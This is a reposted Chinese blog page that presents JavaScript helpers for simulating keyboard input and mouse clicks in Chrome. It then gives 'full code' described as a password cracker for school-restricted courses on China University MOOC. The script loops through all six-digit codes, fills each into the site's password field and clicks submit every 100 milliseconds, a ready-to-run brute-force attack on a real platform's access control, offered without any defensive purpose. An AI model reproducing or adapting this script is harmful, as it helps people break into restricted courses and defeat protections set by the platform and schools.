當前位置:
首頁 >
前端技术
> javascript
>内容正文
javascript
使用JS模拟键盘、鼠标操作
生活随笔
收集整理的這篇文章主要介紹了
使用JS模拟键盘、鼠标操作
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
//只在chrome測試過,大部分應用場景在webkit,所以不做其他兼容// 模擬鍵盤輸入
window.inputValue = function (dom, st) {var evt = new InputEvent('input', {inputType: 'insertText',data: st,dataTransfer: null,isComposing: false});dom.value = st;dom.dispatchEvent(evt);
}// 模擬鼠標點擊
window.mClick = function (dom) {var event = new MouseEvent('click', {view: window,bubbles: true,cancelable: true});dom.dispatchEvent(event)
}
完整代碼
// 中國大學MOOC學校專有課程密碼破解start = 0; end = Math.pow(10,6); size = 6;p = document.getElementsByClassName("ux-input_base")[0]; j = document.getElementsByClassName("ux-btn")[1];window.inputValue = function (dom, st) {var evt = new InputEvent('input', {inputType: 'insertText',data: st,dataTransfer: null,isComposing: false});dom.value = st;dom.dispatchEvent(evt); }window.mClick = function (dom) {var event = new MouseEvent('click', {view: window,bubbles: true,cancelable: true});dom.dispatchEvent(event) }// for(i=start;i<end;i++){ // num = (Array(size+1).join("0") + i).slice(-size) // console.log("當前任務:",num) // inputValue( p,num ) // j.dispatchEvent(event) // }i=start; iVal = setInterval(()=>{console.log("當前任務:",num)num = (Array(size+1).join("0") + i).slice(-size);inputValue( p,num )mClick(j)i++;if(i==end){clearInterval( iVal )} },100)// clearInterval(iVal)總結
以上是生活随笔為你收集整理的使用JS模拟键盘、鼠标操作的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用 Python 绘制了若干张词云图,惊
- 下一篇: 70 行 Python 代码写春联,支持